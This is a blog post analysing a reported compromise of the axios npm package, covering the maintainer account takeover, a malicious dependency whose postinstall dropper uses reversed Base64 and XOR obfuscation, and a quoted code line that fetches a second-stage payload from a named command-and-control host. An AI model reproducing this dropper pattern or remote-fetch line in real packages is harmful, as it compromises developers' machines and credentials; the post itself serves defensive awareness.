RYAN.SYS·SESSION_OK·PROXMOX_NODE: ONLINE·128_ACTIVE THREADS·4_CONCURRENT VENTURES·HOMELAB: R730XD·LOCATION: DALLAS_TX·RANK: E-7_CPO·ROLE: CTO·NET: 1_GBPS·MEM: 128_GB_DDR4·STATUS: BUILDING·RYAN.SYS·SESSION_OK·PROXMOX_NODE: ONLINE·128_ACTIVE THREADS·4_CONCURRENT VENTURES·HOMELAB: R730XD·LOCATION: DALLAS_TX·RANK: E-7_CPO·ROLE: CTO·NET: 1_GBPS·MEM: 128_GB_DDR4·STATUS: BUILDING·
← back to blog
ryan@localhost:~$ cat blog/the-axios-supply-chain-attack-how-a-trusted-npm-package-became-a-trojan-horse.md

The Axios Supply Chain Attack: How a Trusted npm Package Became a Trojan Horse

technical2026-04-017 min read1 views
>TABLE OF CONTENTS

On March 30, 2026, one of the most widely used JavaScript libraries in the world was quietly backdoored. Here's a deep technical breakdown of how the axios supply chain attack worked — and what it means for every developer who's ever typed npm install.

Background: Why Axios?

Axios is an HTTP client library for JavaScript. It's the go-to tool for making web requests from both browsers and Node.js servers. It handles things like request cancellation, automatic JSON serialization, interceptors, and CSRF token management — all the plumbing that most apps need but nobody wants to write from scratch.

With over 83 million weekly downloads and presence in roughly 80% of cloud and code environments, it's not an exaggeration to say axios lives inside half the internet. It's in your backend APIs, your React frontends, your CI pipelines, your serverless functions. It's foundational infrastructure.

That's exactly why it was targeted.


The Analogy

Before we go deep, here's one for the non-engineers in the room.

Imagine your city's water supply goes through a single treatment plant trusted by everyone. One day, an attacker quietly bribes a worker to add an undetectable contaminant to the water for three hours before anyone notices. Millions of people already had a glass. The contaminant isn't in the water itself — it's in a chemical that the plant ordered from a supplier. Nobody thought to inspect that chemical because they've always trusted the plant.

That's a supply chain attack. You didn't download malware. You downloaded a library you've always trusted, and the library was poisoned at the source.


The Timeline


How the Account Was Compromised

The attacker gained control of the npm account belonging to jasonsaayman, the lead axios maintainer. After taking over, they changed the registered email to [email protected] — a Proton Mail address under their control — effectively locking the real owner out of the recovery flow.

This is the simplest, most devastating part of the attack: no code exploit was required. npm's trust model is entirely credential-based. If you have the token, you are the publisher. There's no signing requirement, no secondary approval, no anomaly detection that prevents a newly-hijacked account from publishing to a package with 83 million weekly downloads.


The Technical Mechanism

What Changed in the Package

The real axios has exactly three dependencies:

{
  "follow-redirects": "^1.15.6",
  "form-data": "^4.0.0",
  "proxy-from-env": "^1.1.0"
}

The malicious versions added a fourth:

{
  "follow-redirects": "^1.15.6",
  "form-data": "^4.0.0",
  "proxy-from-env": "^1.1.0",
  "plain-crypto-js": "4.2.1"
}

plain-crypto-js is never imported anywhere in the axios source. Its only function is its postinstall script — a hook that npm executes automatically whenever the package is installed.

The Dropper: setup.js

The postinstall script in plain-crypto-js is a dropper written in Node.js. It uses two layers of obfuscation to evade static analysis:

  1. Reversed Base64 with padding substitution — The payload is Base64-encoded, then reversed, with padding characters swapped to avoid obvious detection patterns.
  2. XOR cipher — The decoded payload is XOR'd using the key OrDeR_7077 against a constant value of 333.

This is a classic dual-layer obfuscation pattern. Neither layer is cryptographically strong — XOR with a static key is trivially reversible — but the goal isn't to be unbreakable. The goal is to survive automated scanning long enough to be installed.

Once deobfuscated, the script does the following:

const platform = os.platform(); // 'darwin', 'win32', or 'linux'
// Reaches out to C2 server to fetch platform-specific second-stage
fetch(`http://sfrclak.com:8000/payload/${platform}`)

The C2 server (sfrclak.com, IP 142.11.206.73) was pre-configured to serve three different second-stage payloads depending on whether the host was macOS, Windows, or Linux. Cross-platform targeting of all three major operating systems is not something thrown together overnight.

The RAT

The second-stage payload is a Remote Access Trojan — software that gives the attacker persistent, covert control over the infected machine. In a developer's environment, that means access to:

Anti-Forensics

After execution, the malware deletes itself and overwrites its own package.json with a clean copy. This is deliberate trace erasure. An engineer running npm ls or inspecting node_modules after the fact would see nothing suspicious.


Attribution

Google Threat Intelligence Group has attributed this attack to UNC1069, a suspected North Korean threat actor. North Korean state-sponsored groups have a well-documented history of targeting software developers specifically — their credentials and machine access are high-value stepping stones into cloud infrastructure, private repositories, and production systems.

The staging of plain-crypto-js 18 hours in advance, the pre-built cross-platform payloads, the coordinated dual-branch publication window — this is the operational signature of a professional threat actor, not an opportunistic script kiddie.


Why This Attack Pattern Is So Dangerous

The Trusted Execution Context Problem

When npm runs a postinstall script, it runs with the same privileges as the developer installing the package. On most developer machines, that means full user-level access — no sandbox, no permission prompt, no warning. You run npm install and arbitrary code executes. This is the design.

The Transitive Dependency Explosion

You didn't install plain-crypto-js. You installed axios. Axios installed plain-crypto-js. The average JavaScript project has hundreds of transitive dependencies — packages your package depends on, that those packages depend on, recursively. Each one is an implicit trust relationship you probably never audited. Attackers know this and exploit it.

Integrity Without Verification

npm's package-lock.json and integrity hashes are designed to ensure that what you install today is the same as what was published. But if the published version is itself malicious, the integrity hash for the malicious version is valid. Pinning to a version doesn't protect you if that version was published by an attacker.


What Should You Do?

Immediate:

Longer term:


The Bigger Picture

The axios attack isn't a story about one bad package or one compromised maintainer. It's a story about an ecosystem-wide structural vulnerability: we have built critical global infrastructure on a foundation of mutual trust, and we have almost no verification layer underneath it.

Open source maintainers are not adversaries. But they are targets. A maintainer's npm credentials are now worth attacking, because those credentials are a key to systems that matter. Until npm and the broader ecosystem implement mandatory signing, multi-party publishing approval, or hardened postinstall sandboxing, every npm install is a calculated risk.

The attack window was three hours. The blast radius was potentially millions of machines.


Sources: Snyk, The Hacker News, Aikido Security, Wiz, StepSecurity, Elastic Security Labs, Huntress